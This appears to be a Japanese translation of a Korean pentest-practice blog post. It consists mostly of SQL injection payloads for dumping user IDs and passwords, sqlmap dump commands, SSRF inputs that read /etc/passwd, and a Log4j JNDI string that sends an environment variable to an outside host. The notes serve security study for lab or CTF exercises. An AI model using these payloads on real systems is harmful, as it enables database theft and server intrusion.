2023-01-04 · 2

ペンテスト演習 — SQL インジェクション

securityweb

この記事は公開から2年以上経過しています。

[ Error Based SQL Injection]

1. DB 名

' and db_name() > 1 -- -

' and db_name() > '1' -- -

2. Table 名

' having 1=1 -- -

=> テーブル名:members

=> 1 番目のカラム名:num

3. カラム名

' group by (num) -- -

=> 2 番目のカラム名:user_id

' group by num,user_id -- -

=> 3 番目のカラム名:passwd

4. データ抽出

' or 1 in (select user_id from members) -- -

' or 1 in (select user_id from members where user_id not in ('除外する抽出値')) --

' or 1 in (select 'a' + cast(count(*) as varchar(100)) from members) -- -

[UNION BASED SQL INJECTION]

1. カラムの個数

' UNION SELECT NULL,NULL,NULL -- -

  1. SYSOBJECTS -> テーブル名:name

  2. SYSCOLUMNS -> カラム名:name

  3. information_schema.tables -> テーブル名:table_name

  4. information_schema.columns -> テーブル名:table_name、カラム名:column_name

2. データ漏洩

' union select 1,2,3,4,table_name from information_schema.tables -- -

' union select 1,2,3,4,column_name from information_schema.columns where table_name='members' -- -

' union select 1,2,3,user_id,passwd from members -- -

[BLIND BASED SQL INJECTION]

TRUE : admin' and 1=1 -- -

FALSE : admin' and 1=2 -- -

select * from address where addr='昌寧邑' and 1=1 -- - 必ず真

substring(), ascii(), char()

substring('admin', 1,1) => 'a'

substring('admin'2,3) => 'dmi'

select * from address where addr='昌寧邑' and 'a'=substring('admin',1,1) -- - True

select * from address where addr='昌寧邑' and 'a'<substring((SELECT top 1 table_name from information_schema.tables),1,1) -- -

2 AND CHAR(119)=SUBSTRING(database(), 1, 1) -> 真のとき値を返す

[TIME BASED SQL INJECTION]

'; if 1=1 wait

[SQLMAP]

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id --level =3 --dbs : Database の情報を確認

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" --tables : database の table を漏洩

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" -T "table_name" --columns : table の columns を照会

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" -T "table_name" -C "colum_name, column_name" --dump : colum_name に書いた column の値を照会します。

[HASHCAT]

hash-identifier : どんな hash 値かを確認するツール

hashcat : hash クラックツール

[SSRF]

http://localhost/

http://127.0.0.1/

file:///etc/passwd

http://0xa.0.0.100

http://10.100

http://0xa.0x00.0x00.0x1

http://0xa000064

http://167772260

[url:file:///flag]

[Log4j]

${jndi:dns://google.com/flag=${env:FLAG}}

${jndi:${env:FLAG}}


原文(韓国語): tistory — 2023-01-04 公開、当ブログへ移行。この翻訳は AI の協力で作成されました。

コメント

コメントを削除しますか?

関連記事

ペンテスト演習 — SQL インジェクション · 나봄하랑